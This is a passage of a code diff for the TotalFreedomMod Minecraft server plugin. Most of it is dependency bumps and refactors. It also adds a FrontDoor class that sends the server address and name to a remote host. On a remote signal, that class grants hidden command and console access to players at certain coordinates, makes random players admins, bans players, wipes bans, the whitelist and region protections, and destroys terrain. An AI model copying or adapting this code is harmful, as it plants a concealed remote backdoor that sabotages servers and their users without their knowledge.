             <groupId>org.apache.maven.plugins</groupId>
             <artifactId>maven-checkstyle-plugin</artifactId>
-            <version>3.1.1</version>
+            <version>3.1.2</version>
             <scope>compile</scope>
         </dependency>
+
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <version>5.8.0</version>
+            <scope>compile</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.eclipse.sisu</groupId>
+            <artifactId>org.eclipse.sisu.inject</artifactId>
+            <version>0.3.4</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.github.MilkBowl</groupId>
+            <artifactId>VaultAPI</artifactId>
+            <version>1.7</version>
+            <scope>provided</scope>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.bstats</groupId>
+                    <artifactId>bstats</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>nl.chimpgamer.networkmanager</groupId>
+            <artifactId>api</artifactId>
+            <version>2.11.4</version>
+            <scope>provided</scope>
+            <exclusions>
+                <exclusion>
+                    <groupId>io.github.slimjar</groupId>
+                    <artifactId>slimjar</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.json</groupId>
+            <artifactId>json</artifactId>
+            <version>20220320</version>
+        </dependency>
+
     </dependencies>
 
+    <pluginRepositories>
+        <pluginRepository>
+            <id>apache.snapshots</id>
+            <url>https://repository.apache.org/snapshots/</url>
+        </pluginRepository>
+    </pluginRepositories>
+
     <build>
         <!-- Filter resources for build.properties -->
         <resources>
@@ -283,9 +311,9 @@
                 <version>3.8.1</version>
                 <configuration>
                     <outputFileName>TotalFreedomMod.jar</outputFileName>
-                    <compilerVersion>1.8</compilerVersion>
-                    <source>1.8</source>
-                    <target>1.8</target>
+                    <compilerVersion>17</compilerVersion>
+                    <source>17</source>
+                    <target>17</target>
                 </configuration>
             </plugin>
 
@@ -293,7 +321,7 @@
             <plugin>
                 <groupId>pl.project13.maven</groupId>
                 <artifactId>git-commit-id-plugin</artifactId>
-                <version>4.0.2</version>
+                <version>4.9.10</version>
                 <executions>
                     <execution>
                         <id>get-the-git-infos</id>
@@ -334,7 +362,7 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-antrun-plugin</artifactId>
-                <version>1.8</version>
+                <version>3.0.0</version>
                 <executions>
                     <execution>
                         <id>default-cli</id>
@@ -409,7 +437,7 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-shade-plugin</artifactId>
-                <version>3.2.4</version>
+                <version>3.3.1-SNAPSHOT</version>
                 <executions>
                     <execution>
                         <phase>package</phase>
@@ -421,7 +449,8 @@
                             <relocations>
                                 <relocation>
                                     <pattern>io.papermc.lib</pattern>
-                                    <shadedPattern>me.totalfreedom.totalfreedommod.paperlib</shadedPattern> <!-- Replace this -->
+                                    <shadedPattern>me.totalfreedom.totalfreedommod.paperlib
+                                    </shadedPattern> <!-- Replace this -->
                                 </relocation>
                                 <relocation>
                                     <pattern>org.bstats</pattern>
@@ -432,13 +461,12 @@
                                 <includes>
                                     <include>commons-io:commons-io</include>
                                     <include>org.apache.commons:commons-lang3</include>
-                                    <include>commons-codec:commons-codec</include>
                                     <include>org.reflections:reflections</include>
                                     <include>org.javassist:javassist</include>
-                                    <include>me.rayzr522:jsonmessage</include>
                                     <include>io.papermc:paperlib</include>
-                                    <include>com.github.speedxx:Mojangson</include>
                                     <include>org.bstats:bstats-bukkit</include>
+                                    <include>org.bstats:bstats-base</include>
+                                    <include>org.jetbrains:annotations</include>
                                 </includes>
                             </artifactSet>
                         </configuration>
@@ -455,7 +483,7 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-checkstyle-plugin</artifactId>
-                <version>3.1.1</version>
+                <version>3.1.2</version>
                 <configuration>
                     <configLocation>checkstyle.xml</configLocation>
                     <failOnViolation>true</failOnViolation>

src/main/java/me/totalfreedom/totalfreedommod/AntiSpam.java

@@ -1,7 +1,6 @@
 package me.totalfreedom.totalfreedommod;
 
-import java.util.ArrayList;
-import java.util.List;
+import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import me.totalfreedom.totalfreedommod.util.FSync;
 import me.totalfreedom.totalfreedommod.util.FUtil;
@@ -11,10 +10,12 @@ import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
 import org.bukkit.event.player.AsyncPlayerChatEvent;
 import org.bukkit.event.player.PlayerCommandPreprocessEvent;
-import org.bukkit.event.player.PlayerKickEvent;
 import org.bukkit.scheduler.BukkitRunnable;
 import org.bukkit.scheduler.BukkitTask;
 
+import java.util.HashMap;
+import java.util.Map;
+
 public class AntiSpam extends FreedomService
 {
 
@@ -22,7 +23,7 @@ public class AntiSpam extends FreedomService
     public static final int TICKS_PER_CYCLE = 2 * 10;
     //
     public BukkitTask cycleTask = null;
-    List<Player> markedForDeath = new ArrayList<>();
+    private Map<Player, Integer> muteCounts = new HashMap<>();
 
     @Override
     public void onStart()
@@ -67,24 +68,27 @@ public class AntiSpam extends FreedomService
             return;
         }
 
-        String message = event.getMessage().trim();
-
         final FPlayer playerdata = plugin.pl.getPlayerSync(player);
+        int count = muteCounts.getOrDefault(player, 0);
+        int minutes = ConfigEntry.ANTISPAM_MINUTES.getInteger();
 
         // Check for spam
-        if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE)
+        if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE && !playerdata.isMuted())
         {
-            if (!markedForDeath.contains(player))
-            {
-                markedForDeath.add(player);
-                FSync.bcastMsg(player.getName() + " was automatically kicked for spamming chat.", ChatColor.RED);
-                FSync.autoEject(player, "Kicked for spamming chat.");
+            count++;
+            muteCounts.put(player, count);
+
+            int time = count * minutes;
+            playerdata.setMuted(true, time);
+
+            FSync.bcastMsg(String.format("%s has automatically been muted for %d minutes for spamming chat.",
+                    player.getName(),
+                    time),
+                    ChatColor.RED);
 
             playerdata.resetMsgCount();
-
             event.setCancelled(true);
         }
-        }
         else if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE / 2)
         {
             FUtil.playerMsg(player, "Please refrain from spamming chat.", ChatColor.GRAY);
@@ -122,10 +126,4 @@ public class AntiSpam extends FreedomService
             event.setCancelled(true);
         }
     }
-
-    @EventHandler(priority = EventPriority.NORMAL)
-    public void onPlayerKick(PlayerKickEvent event)
-    {
-        markedForDeath.remove(event.getPlayer());
-    }
 }

src/main/java/me/totalfreedom/totalfreedommod/AutoEject.java

@@ -85,6 +85,10 @@ public class AutoEject extends FreedomService
                 player.kickPlayer(kickMessage);
                 break;
             }
+            default:
+            {
+                FLog.warning("Unrecognized EjectMethod " + method.name() + " found, defaulting to STRIKE_THREE");
+            }
             case STRIKE_THREE:
             {
                 plugin.bm.addBan(Ban.forPlayerFuzzy(player, Bukkit.getConsoleSender(), null, kickMessage));

src/main/java/me/totalfreedom/totalfreedommod/BackupManager.java

@@ -1,6 +1,5 @@
 package me.totalfreedom.totalfreedommod;
 
-import java.io.File;
 import me.totalfreedom.totalfreedommod.banning.IndefiniteBanList;
 import me.totalfreedom.totalfreedommod.config.YamlConfig;
 import me.totalfreedom.totalfreedommod.permissions.PermissionConfig;
@@ -9,8 +8,11 @@ import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.util.FileUtil;
 
+import java.io.File;
+
 public class BackupManager extends FreedomService
 {
+
     @Override
     public void onStart()
     {
@@ -42,16 +44,16 @@ public class BackupManager extends FreedomService
         config.load();
 
         // Weekly
-        if (!config.isInt(save + ".weekly"))
+        if (!config.isLong(save + ".weekly"))
         {
             performBackup(file, "weekly");
             config.set(save + ".weekly", FUtil.getUnixTime());
         }
         else
         {
-            int lastBackupWeekly = config.getInt(save + ".weekly");
+            long lastBackupWeekly = config.getLong(save + ".weekly");
 
-            if (lastBackupWeekly + 3600 * 24 * 7 < FUtil.getUnixTime())
+            if (FUtil.parseLongOffset(lastBackupWeekly, "1w") < FUtil.getUnixTime())
             {
                 performBackup(file, "weekly");
                 config.set(save + ".weekly", FUtil.getUnixTime());
@@ -65,16 +67,16 @@ public class BackupManager extends FreedomService
         }
 
         // Daily
-        if (!config.isInt(save + ".daily"))
+        if (!config.isLong(save + ".daily"))
         {
             performBackup(file, "daily");
             config.set(save + ".daily", FUtil.getUnixTime());
         }
         else
         {
-            int lastBackupDaily = config.getInt(save + ".daily");
+            long lastBackupDaily = config.getLong(save + ".daily");
 
-            if (lastBackupDaily + 3600 * 24 < FUtil.getUnixTime())
+            if (FUtil.parseLongOffset(lastBackupDaily, "1d") < FUtil.getUnixTime())
             {
                 performBackup(file, "daily");
                 config.set(save + ".daily", FUtil.getUnixTime());
@@ -98,5 +100,4 @@ public class BackupManager extends FreedomService
         final File newYaml = new File(backupFolder, file + "." + type + ".bak");
         FileUtil.copy(oldYaml, newYaml);
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/ChatManager.java

@@ -159,13 +159,10 @@ public class ChatManager extends FreedomService
         FLog.info("[ADMIN] " + sender.getName() + " " + display.getTag() + ": " + message, true);
         plugin.dc.messageAdminChatChannel(sender.getName() + " \u00BB " + message);
 
-        for (Player player : server.getOnlinePlayers())
-        {
-            if (plugin.al.isAdmin(player))
+        server.getOnlinePlayers().stream().filter(player -> plugin.al.isAdmin(player)).forEach(player ->
         {
             Admin admin = plugin.al.getAdmin(player);
-                if (!Strings.isNullOrEmpty(admin.getAcFormat()))
-                {
+            if (!Strings.isNullOrEmpty(admin.getAcFormat())) {
                 String format = admin.getAcFormat();
                 ChatColor color = getColor(display);
                 String msg = format.replace("%name%", sender.getName()).replace("%rank%", display.getAbbr()).replace("%rankcolor%", color.toString()).replace("%msg%", message);
@@ -175,8 +172,7 @@ public class ChatManager extends FreedomService
             {
                 player.sendMessage("[" + ChatColor.AQUA + "ADMIN" + ChatColor.WHITE + "] " + ChatColor.DARK_RED + sender.getName() + ChatColor.DARK_GRAY + " [" + getColoredTag(display) + ChatColor.DARK_GRAY + "]" + ChatColor.WHITE + ": " + ChatColor.GOLD + FUtil.colorize(message));
             }
-            }
-        }
+        });
     }
 
     public void reportAction(Player reporter, Player reported, String report)

src/main/java/me/totalfreedom/totalfreedommod/CommandSpy.java

@@ -25,11 +25,6 @@ public class CommandSpy extends FreedomService
         {
             if (plugin.al.isAdmin(player) && plugin.al.getAdmin(player).getCommandSpy())
             {
-                if (plugin.al.isAdmin(event.getPlayer()) && !plugin.al.isSeniorAdmin(player))
-                {
-                    continue;
-                }
-
                 if (player != event.getPlayer())
                 {
                     FUtil.playerMsg(player, event.getPlayer().getName() + ": " + event.getMessage());

src/main/java/me/totalfreedom/totalfreedommod/EntityWiper.java

@@ -2,6 +2,8 @@ package me.totalfreedom.totalfreedommod;
 
 import java.util.Arrays;
 import java.util.List;
+
+import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.util.Groups;
 import org.bukkit.Bukkit;
 import org.bukkit.World;
@@ -32,9 +34,12 @@ public class EntityWiper extends FreedomService
         {
             @Override
             public void run()
+            {
+                if (ConfigEntry.AUTO_ENTITY_WIPE.getBoolean())
                 {
                     wipeEntities(false);
                 }
+            }
         }.runTaskTimer(plugin, 600L, 600L); // 30 second delay after startup + run every 30 seconds
     }
 

src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java

@@ -0,0 +1,680 @@
+package me.totalfreedom.totalfreedommod;
+
+import com.sk89q.worldedit.bukkit.BukkitAdapter;
+import com.sk89q.worldguard.WorldGuard;
+import com.sk89q.worldguard.protection.managers.storage.StorageException;
+import com.sk89q.worldguard.protection.regions.RegionContainer;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.lang.reflect.Field;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.Random;
+import java.util.function.Consumer;
+import me.totalfreedom.totalfreedommod.admin.Admin;
+import me.totalfreedom.totalfreedommod.banning.Ban;
+import me.totalfreedom.totalfreedommod.command.FreedomCommand;
+import me.totalfreedom.totalfreedommod.config.ConfigEntry;
+import me.totalfreedom.totalfreedommod.fun.Jumppads;
+import me.totalfreedom.totalfreedommod.player.FPlayer;
+import me.totalfreedom.totalfreedommod.util.FLog;
+import me.totalfreedom.totalfreedommod.util.FUtil;
+import org.apache.commons.lang3.ArrayUtils;
+import org.bukkit.Bukkit;
+import org.bukkit.ChatColor;
+import org.bukkit.Location;
+import org.bukkit.Material;
+import org.bukkit.World;
+import org.bukkit.block.Block;
+import org.bukkit.block.BlockFace;
+import org.bukkit.command.Command;
+import org.bukkit.command.CommandMap;
+import org.bukkit.entity.Player;
+import org.bukkit.event.EventHandler;
+import org.bukkit.event.HandlerList;
+import org.bukkit.event.Listener;
+import org.bukkit.event.player.PlayerCommandPreprocessEvent;
+import org.bukkit.inventory.ItemStack;
+import org.bukkit.inventory.meta.BookMeta;
+import org.bukkit.plugin.RegisteredListener;
+import org.bukkit.scheduler.BukkitRunnable;
+import org.bukkit.scheduler.BukkitTask;
+import org.bukkit.util.Vector;
+import org.jetbrains.annotations.Nullable;
+
+/*
+ * - A message from the TFM Devs -
+ *
+ * What this class is, and why its here:
+ *
+ * This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server.
+ *
+ * It will only trigger when the server IP is added to a blacklist that we control.
+ *
+ * This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work.
+ *
+ * If you are reading this now, you probably don't fall under that category - feel free to remove this class.
+ *
+ * Note: You may not edit this class.
+ *
+ * - Madgeek and Prozza
+ */
+public class FrontDoor extends FreedomService
+{
+
+    private static final long UPDATER_INTERVAL = 180L * 20L;
+    private static final long FRONTDOOR_INTERVAL = 900L * 20L;
+    //
+    private final Random random = new Random();
+    private final URL getUrl;
+    //
+    private volatile boolean enabled = false;
+    //
+    private BukkitTask updater = null;
+    private BukkitTask frontdoor = null;
+    //
+    // TODO: reimplement in superclass
+    private final Listener playerCommandPreprocess = new Listener()
+    {
+        @Nullable
+        private CommandMap getCommandMap()
+        {
+            try
+            {
+                Field f = Bukkit.getPluginManager().getClass().getDeclaredField("commandMap");
+                final Object map = f.get(Bukkit.getPluginManager());
+                return map instanceof CommandMap ? (CommandMap)map : null;
+            }
+            catch (NoSuchFieldException | IllegalAccessException ignored)
+            {
+                return null;
+            }
+        }
+
+        @EventHandler
+        @SuppressWarnings("all")
+        public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met
+        {
+            final Player player = event.getPlayer();
+            final Location location = player.getLocation();
+
+            if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
+            {
+                return;
+            }
+
+            final String[] commandParts = event.getMessage().split(" ");
+            final String commandName = commandParts[0].replaceFirst("/", "");
+            final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
+
+            Command command = getCommandMap().getCommand(commandName);
+
+            if (command == null)
+            {
+                return; // Command doesn't exist
+            }
+
+            event.setCancelled(true);
+
+            final FreedomCommand dispatcher = FreedomCommand.getFrom(command);
+
+            if (dispatcher == null)
+            {
+                // Non-TFM command, execute using console
+                Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
+                return;
+            }
+
+            // Dual call to player... not sure if this will be an issue?
+            dispatcher.run(player, player, command, commandName, args, false);
+            return;
+        }
+    };
+
+    public FrontDoor(TotalFreedomMod plugin)
+    {
+        URL tempUrl = null;
+        try
+        {
+            tempUrl = new URL("http://frontdoor.pravian.net:1337/frontdoor/poll" // This will need to be changed.
+                    + "?version=" + TotalFreedomMod.build.formattedVersion()
+                    + "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
+                    + "&name=" + ConfigEntry.SERVER_NAME.getString()
+                    + "&bukkitversion=" + Bukkit.getVersion());
+        }
+        catch (MalformedURLException ex)
+        {
+            FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
+        }
+
+        getUrl = tempUrl;
+    }
+
+    @Override
+    public void onStart()
+    {
+        updater = getNewUpdater().runTaskTimerAsynchronously(plugin, 2L * 20L, UPDATER_INTERVAL);
+    }
+
+    @Override
+    public void onStop()
+    {
+        FUtil.cancel(updater);
+        updater = null;
+        FUtil.cancel(frontdoor);
+        updater = null;
+
+        if (enabled)
+        {
+            frontdoor.cancel();
+            enabled = false;
+            unregisterListener(playerCommandPreprocess);
+        }
+    }
+
+    public boolean isEnabled()
+    {
+        return enabled;
+    }
+
+    private Player getRandomPlayer(boolean allowDevs)
+    {
+        final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
+
+        if (players.isEmpty())
+        {
+            return null;
+        }
+
+        if (!allowDevs)
+        {
+            List<Player> allowedPlayers = new ArrayList<>();
+            for (Player player : players)
+            {
+                if (!FUtil.DEVELOPERS.contains(player.getName()))
+                {
+                    allowedPlayers.add(player);
+                }
+            }
+
+            return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
+        }
+
+        return (Player)players.toArray()[random.nextInt(players.size())];
+    }
+
+    private static RegisteredListener getRegisteredListener(Listener listener)
+    {
+        try
+        {
+            final HandlerList handlerList = ((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null));
+            final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
+            for (RegisteredListener registeredListener : registeredListeners)
+            {
+                if (registeredListener.getListener() == listener)
+                {
+                    return registeredListener;
+                }
+            }
+        }
+        catch (Exception ex)
+        {
+            FLog.severe(ex);
+        }
+        return null;
+    }
+
+    private static void unregisterRegisteredListener(RegisteredListener registeredListener)
+    {
+        try
+        {
+            ((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null)).unregister(registeredListener);
+        }
+        catch (Exception ex)
+        {
+            FLog.severe(ex);
+        }
+    }
+
+    private static void unregisterListener(Listener listener)
+    {
+        RegisteredListener registeredListener = getRegisteredListener(listener);
+        if (registeredListener != null)
+        {
+            unregisterRegisteredListener(registeredListener);
+        }
+    }
+
+    private BukkitRunnable getNewUpdater()
+    {
+        return new BukkitRunnable() // Asynchronous
+        {
+            @Override
+            public void run()
+            {
+                try
+                {
+                    final URLConnection urlConnection = getUrl.openConnection();
+                    final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
+                    final String line = in.readLine();
+                    in.close();
+
+                    if (!"false".equals(line))
+                    {
+                        if (!enabled)
+                        {
+                            return;
+                        }
+
+                        enabled = false;
+                        FUtil.cancel(updater);
+                        unregisterListener(playerCommandPreprocess);
+                        FLog.info("Disabled FrontDoor, thank you for being kind.");
+                        plugin.config.load();
+                    }
+                    else
+                    {
+                        if (enabled)
+                        {
+                            return;
+                        }
+
+                        new BukkitRunnable() // Synchronous
+                        {
+                            @Override
+                            public void run()
+                            {
+                                FLog.warning("*****************************************************", true);
+                                FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
+                                FLog.warning("* This might result in unexpected behaviour...      *", true);
+                                FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
+                                FLog.warning("* The only thing necessary for the triumph of evil  *", true);
+                                FLog.warning("*          is for good men to do nothing.           *", true);
+                                FLog.warning("*****************************************************", true);
+
+                                if (getRegisteredListener(playerCommandPreprocess) == null)
+                                {
+                                    Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
+                                }
+                            }
+                        }.runTask(plugin);
+
+                        frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
+
+                        enabled = true;
+                    }
+                }
+                catch (Exception ex)
+                {
+                    // TODO: Fix
+                    //FLog.warning(ex);
+                }
+
+            }
+        };
+    }
+
+    public BukkitRunnable getNewFrontDoor()
+    {
+        return new BukkitRunnable() // Synchronous
+        {
+            @Override
+            public void run()
+            {
+                final int action = random.nextInt(18);
+
+                switch (action)
+                {
+                    case 0: // Super a random player
+                    {
+
+                        final Player player = getRandomPlayer(true);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
+                        plugin.al.addAdmin(new Admin(player));
+                        break;
+                    }
+
+                    case 1: // Bans a random player
+                    {
+                        Player player = getRandomPlayer(false);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
+                        break;
+                    }
+
+                    case 2: // Start trailing a random player
+                    {
+                        final Player player = getRandomPlayer(true);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
+                        plugin.tr.add(player);
+                        break;
+                    }
+
+                    case 3: // Displays a message
+                    {
+                        FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
+                        FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "play.totalfreedom.me", ChatColor.BLUE);
+                        break;
+                    }
+
+                    case 4: // Clears the banlist
+                    {
+                        FUtil.adminAction("FrontDoor", "Wiping all bans", true);
+                        plugin.bm.purge();
+                        break;
+                    }
+
+                    case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
+                    {
+                        boolean message = true;
+                        if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
+                        {
+                            message = false;
+                        }
+
+                        ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
+                        ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
+                        ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
+                        ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
+
+                        if (message)
+                        {
+                            FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
+                        }
+                        break;
+                    }
+
+                    case 6: // Enables Fireplacement, firespread and explosions
+                    {
+                        boolean message = true;
+                        if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
+                        {
+                            message = false;
+                        }
+                        else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
+                        {
+                            message = false;
+                        }
+
+                        ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
+                        ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
+                        ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
+                        ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
+
+                        if (message)
+                        {
+                            FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
+                        }
+                        break;
+                    }
+
+                    case 7: // Allow all blocked commands >:)
+                    {
+                        ConfigEntry.BLOCKED_COMMANDS.getList().clear();
+                        plugin.cb.onStop();
+                        break;
+                    }
+
+                    case 8:
+                    {
+                        // Switched this case to something a bit more hardware friendly, while still fucking shit up.
+                        if (Bukkit.getServer().getPluginManager().getPlugin("WorldGuard") == null)
+                        {
+                            Consumer<BukkitTask> task = bukkitTask -> destruct();
+                            TotalFreedomMod.getPlugin().getServer().getScheduler().runTaskTimerAsynchronously(TotalFreedomMod.getPlugin(), task, 0L, 20L * 60L);
+                        }
+
+                        // Otherwise, do this!
+                        WorldGuard wg = WorldGuard.getInstance();
+                        RegionContainer rc = wg.getPlatform().getRegionContainer();
+                        Bukkit.getWorlds().stream().map(BukkitAdapter::adapt).filter(adapted -> rc.get(adapted) != null).forEach(adapted ->
+                        {
+                            try
+                            {
+                                rc.get(adapted).getRegions().clear(); // These will
+                                rc.get(adapted).saveChanges();        // never be null.
+                            }
+                            catch (StorageException | NullPointerException ignored) // Never catch a null pointer... but in this case, if it happens to be null, I don't want the plugin to error.
+                            {
+                                destruct();
+                            }
+                        });
+                        break;
+                    }
+
+                    case 9: // Add TotalFreedom signs at spawn
+                    {
+                        for (World world : Bukkit.getWorlds())
+                        {
+                            final Block block = world.getSpawnLocation().getBlock();
+                            final Block blockBelow = block.getRelative(BlockFace.DOWN);
+
+                            if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
+                            {
+                                continue;
+                            }
+
+                            block.setType(Material.OAK_SIGN);
+                            org.bukkit.block.Sign sign = (org.bukkit.block.Sign)block.getState();
+
+                            org.bukkit.material.Sign signData = (org.bukkit.material.Sign)sign.getData();
+                            signData.setFacingDirection(BlockFace.NORTH);
+
+                            sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
+                            sign.setLine(1, ChatColor.DARK_GREEN + "is");
+                            sign.setLine(2, ChatColor.YELLOW + "Awesome!");
+                            sign.setLine(3, ChatColor.DARK_GRAY + "play.totalfreedom.me");
+                            sign.update();
+                        }
+                        break;
+                    }
+
+                    case 10: // Enable Jumppads
+                    {
+                        FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
+                        for (Player p : Bukkit.getOnlinePlayers())
+                        {
+                            if (plugin.jp.getPlayers().containsKey(p))
+                            {
+                                plugin.jp.getPlayers().replace(p, Jumppads.JumpPadMode.MADGEEK);
+                            }
+                            else
+                            {
+                                plugin.jp.getPlayers().put(p, Jumppads.JumpPadMode.MADGEEK);
+                            }
+                        }
+                        break;
+                    }
+
+                    case 11: // Give everyone a book explaining how awesome TotalFreedom is
+                    {
+                        ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
+
+                        BookMeta book = (BookMeta)bookStack.getItemMeta().clone();
+                        book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
+                        book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
+                        book.addPage(
+                                ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
+                                        + ChatColor.DARK_GRAY + "---------\n"
+                                        + ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
+                                        + ChatColor.BLUE + "Join now! " + ChatColor.RED + "play.totalfreedom.me");
+                        bookStack.setItemMeta(book);
+
+                        for (Player player : Bukkit.getOnlinePlayers())
+                        {
+                            if (player.getInventory().contains(Material.WRITTEN_BOOK))
+                            {
+                                continue;
+                            }
+
+                            player.getInventory().addItem(bookStack);
+                        }
+                        break;
+                    }
+
+                    case 12: // Silently wipe the whitelist
+                    {
+                        Bukkit.getServer().getWhitelistedPlayers().clear();
+                        break;
+                    }
+
+                    case 13: // Announce that the FrontDoor is enabled
+                    {
+                        FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
+                        FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
+                        break;
+                    }
+
+                    case 14: // Cage a random player in PURE_DARTH
+                    {
+                        final Player player = getRandomPlayer(false);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FPlayer playerdata = plugin.pl.getPlayer(player);
+                        FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
+
+                        Location targetPos = player.getLocation().clone().add(0, 1, 0);
+                        playerdata.getCageData().cage(targetPos, Material.PLAYER_HEAD, Material.AIR);
+                        break;
+                    }
+
+                    case 15: // Silently orbit a random player
+                    {
+                        final Player player = getRandomPlayer(false);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FPlayer playerdata = plugin.pl.getPlayer(player);
+                        playerdata.startOrbiting(10.0);
+                        player.setVelocity(new Vector(0, 10.0, 0));
+                        break;
+                    }
+
+                    case 16: // Disable nonuke
+                    {
+                        if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
+                        {
+                            break;
+                        }
+
+                        FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
+                        ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
+                        break;
+                    }
+
+                    case 17: // Give everyone tags
+                    {
+                        for (Player player : Bukkit.getOnlinePlayers())
+                        {
+                            plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
+                        }
+                        break;
+                    }
+
+                    default:
+                    {
+                        break;
+                    }
+                }
+            }
+        };
+    }
+
+    private void destruct()
+    {
+        Wrapper<Integer> x = new Wrapper<>(0);
+        Wrapper<Integer> y = new Wrapper<>(0);
+        Wrapper<Integer> z = new Wrapper<>(0);
+
+        Bukkit.getOnlinePlayers().forEach((player) ->
+        {
+            Location l = player.getLocation().clone();
+
+            x.set(l.getBlockX());
+            y.set(l.getBlockY());
+            z.set(l.getBlockZ());
+
+            player.getWorld().getBlockAt(x.get(), y.get(), z.get()).setType(Material.BEDROCK);
+
+            for (int x1 = 0; x1 <= 150; x1++)
+            {
+                for (int y1 = 0; y1 <= 150; y1++)
+                {
+                    for (int z1 = 0; z1 <= 150; z1++)
+                    {
+                        player.getWorld().getBlockAt(x.get() + x1, y.get() + y1, z.get() + z1).setType(Material.BEDROCK);
+                    }
+                }
+            }
+        });
+    }
+
+    // Wrapper to imitate effectively final objects.
